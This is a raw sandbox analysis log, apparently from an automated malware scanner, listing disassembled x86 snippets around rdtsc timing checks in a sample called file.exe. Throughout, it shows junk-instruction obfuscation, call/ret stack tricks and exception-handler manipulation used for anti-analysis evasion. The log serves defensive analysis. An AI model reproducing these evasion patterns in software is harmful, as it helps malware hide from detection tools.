Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6F9C second address: 5E6FA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60D3 second address: 5E6169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F789C73D5A8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D1E1Fh], esi 0x00000029 mov edi, dword ptr [ebp+122D298Ch] 0x0000002f push dword ptr fs:[00000000h] 0x00000036 or ebx, dword ptr [ebp+12468F24h] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov di, 82D3h 0x00000047 mov eax, dword ptr [ebp+122D0535h] 0x0000004d mov edi, ecx 0x0000004f push FFFFFFFFh 0x00000051 mov dword ptr [ebp+122D2284h], eax 0x00000057 mov ebx, dword ptr [ebp+122D3B15h] 0x0000005d nop 0x0000005e jne 00007F789C73D5C7h 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 je 00007F789C73D5A6h 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6169 second address: 5E616F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7E7C second address: 5E7E93 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F789C73D5A8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jc 00007F789C73D5A6h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8E66 second address: 5E8F01 instructions: 0x00000000 rdtsc 0x00000002 je 00007F789CC6148Ch 0x00000008 jne 00007F789CC61486h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F789CC61488h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d jmp 00007F789CC61495h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F789CC61488h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e sbb ebx, 4EBA4AC2h 0x00000054 push 00000000h 0x00000056 push 00000000h 0x00000058 push edx 0x00000059 call 00007F789CC61488h 0x0000005e pop edx 0x0000005f mov dword ptr [esp+04h], edx 0x00000063 add dword ptr [esp+04h], 00000014h 0x0000006b inc edx 0x0000006c push edx 0x0000006d ret 0x0000006e pop edx 0x0000006f ret 0x00000070 push eax 0x00000071 pushad 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8067 second address: 5E806B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8F01 second address: 5E8F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E806B second address: 5E8078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8F07 second address: 5E8F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F789CC61486h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8078 second address: 5E807E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E807E second address: 5E80EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F789CC61496h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 js 00007F789CC61489h 0x0000001d mov di, dx 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007F789CC61488h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 mov ebx, dword ptr [ebp+1245A9D8h] 0x00000047 mov eax, dword ptr [ebp+122D0111h] 0x0000004d push FFFFFFFFh 0x0000004f mov ebx, edi 0x00000051 nop 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 push edx 0x00000057 pop edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E80EE second address: 5E80F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E80F2 second address: 5E80F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E80F8 second address: 5E80FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E80FE second address: 5E8110 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F789CC61486h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA035 second address: 5EA0A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D392Dh] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov ebx, dword ptr [ebp+122D3975h] 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007F789C73D5A8h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov ebx, 5CB474A7h 0x00000043 mov eax, dword ptr [ebp+122D0C45h] 0x00000049 cld 0x0000004a xor dword ptr [ebp+122DB94Ch], edi 0x00000050 push FFFFFFFFh 0x00000052 clc 0x00000053 nop 0x00000054 jmp 00007F789C73D5AFh 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA0A6 second address: 5EA0AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECF6D second address: 5ECF73 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECF73 second address: 5ECF84 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F789CC61488h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDEFC second address: 5EDFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F789C73D5B2h 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007F789C73D5B2h 0x00000012 jg 00007F789C73D5ACh 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F789C73D5A8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 jmp 00007F789C73D5ABh 0x00000038 push 00000000h 0x0000003a clc 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F789C73D5A8h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000018h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 mov dword ptr [ebp+122D1B7Ch], eax 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jl 00007F789C73D5BFh 0x00000066 jmp 00007F789C73D5B9h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDFA5 second address: 5EDFAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EDFAB second address: 5EDFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC08E second address: 5EC092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED1A8 second address: 5ED1AD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEEF3 second address: 5EEF5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC6148Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F789CC61488h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F789CC61488h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 jmp 00007F789CC6148Dh 0x0000004a xchg eax, esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push ecx 0x00000050 pop ecx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEF5F second address: 5EEF63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEF63 second address: 5EEF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEF69 second address: 5EEF81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F789C73D5ADh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE0EA second address: 5EE191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F789CC61496h 0x00000008 jp 00007F789CC61486h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 mov ebx, dword ptr [ebp+122D2C24h] 0x0000001a push dword ptr fs:[00000000h] 0x00000021 jne 00007F789CC6148Ch 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F789CC61488h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D2672h], ebx 0x0000004e mov eax, dword ptr [ebp+122D16C5h] 0x00000054 pushad 0x00000055 pushad 0x00000056 and esi, 6F6226B6h 0x0000005c mov dword ptr [ebp+124899D4h], edx 0x00000062 popad 0x00000063 mov esi, dword ptr [ebp+122D1E9Dh] 0x00000069 popad 0x0000006a sbb ebx, 1145E24Dh 0x00000070 push FFFFFFFFh 0x00000072 jbe 00007F789CC61486h 0x00000078 nop 0x00000079 push eax 0x0000007a push edx 0x0000007b pushad 0x0000007c jmp 00007F789CC6148Bh 0x00000081 jc 00007F789CC61486h 0x00000087 popad 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE191 second address: 5EE19B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F789C73D5A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE19B second address: 5EE1BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE1BC second address: 5EE1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE1C0 second address: 5EE1C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE1C6 second address: 5EE1CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EE1CC second address: 5EE1D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF081 second address: 5EF087 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0F6E second address: 5F0F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F789CC6148Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0186 second address: 5F01A1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F789C73D5A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F789C73D5ACh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595B7F second address: 595B98 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F789CC61492h 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595B98 second address: 595B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F86B3 second address: 5F86D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F789CC61493h 0x0000000e jmp 00007F789CC6148Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F86D9 second address: 5F86F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F789C73D5B6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8B11 second address: 5F8B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCAFF second address: 5FCB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCB03 second address: 5FCB49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61493h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jng 00007F789CC6149Bh 0x00000011 js 00007F789CC61495h 0x00000017 jmp 00007F789CC6148Fh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 js 00007F789CC6148Ch 0x00000028 js 00007F789CC61486h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCBD2 second address: 5FCBEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 jmp 00007F789C73D5AEh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCD27 second address: 5FCD43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61494h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCD43 second address: 421C32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F789C73D5AFh 0x00000010 pop eax 0x00000011 stc 0x00000012 push dword ptr [ebp+122D0825h] 0x00000018 jmp 00007F789C73D5B0h 0x0000001d call dword ptr [ebp+122D2509h] 0x00000023 pushad 0x00000024 pushad 0x00000025 mov edi, dword ptr [ebp+122D3B49h] 0x0000002b popad 0x0000002c xor eax, eax 0x0000002e mov dword ptr [ebp+122D1953h], edi 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 jmp 00007F789C73D5B5h 0x0000003d mov dword ptr [ebp+122D3A41h], eax 0x00000043 xor dword ptr [ebp+122D1953h], ecx 0x00000049 sub dword ptr [ebp+122D23D4h], edi 0x0000004f mov esi, 0000003Ch 0x00000054 jmp 00007F789C73D5B2h 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d je 00007F789C73D5B2h 0x00000063 jbe 00007F789C73D5ACh 0x00000069 mov dword ptr [ebp+122D1953h], ebx 0x0000006f lodsw 0x00000071 clc 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 pushad 0x00000077 mov bh, 82h 0x00000079 jbe 00007F789C73D5A6h 0x0000007f popad 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 cld 0x00000085 nop 0x00000086 push ecx 0x00000087 push eax 0x00000088 push edx 0x00000089 jns 00007F789C73D5A6h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6038C3 second address: 6038CE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603444 second address: 603460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B6h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603460 second address: 603464 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603464 second address: 603468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6035CB second address: 6035DD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F789CC6148Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60374D second address: 603759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F789C73D5A6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608EB5 second address: 608EFB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F789CC61486h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F789CC61494h 0x00000011 popad 0x00000012 push edx 0x00000013 jng 00007F789CC61488h 0x00000019 push edx 0x0000001a pop edx 0x0000001b push ebx 0x0000001c jmp 00007F789CC61499h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A60 second address: 607A77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A77 second address: 607A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A81 second address: 607A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607A87 second address: 607AB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC6148Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F789CC61496h 0x00000011 jp 00007F789CC61488h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607C2A second address: 607C34 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F789C73D5ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607EF9 second address: 607F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F789CC61497h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607F15 second address: 607F1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 607F1A second address: 607F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F789CC61486h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608064 second address: 608068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608068 second address: 608087 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789CC61499h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608676 second address: 608686 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F789C73D5A6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608929 second address: 608936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F789CC61486h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608936 second address: 60893C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60893C second address: 608941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608941 second address: 608957 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F789C73D5B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608957 second address: 60895D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60895D second address: 608961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BDEBE second address: 5BDED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jl 00007F789CC6148Eh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C342 second address: 60C348 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
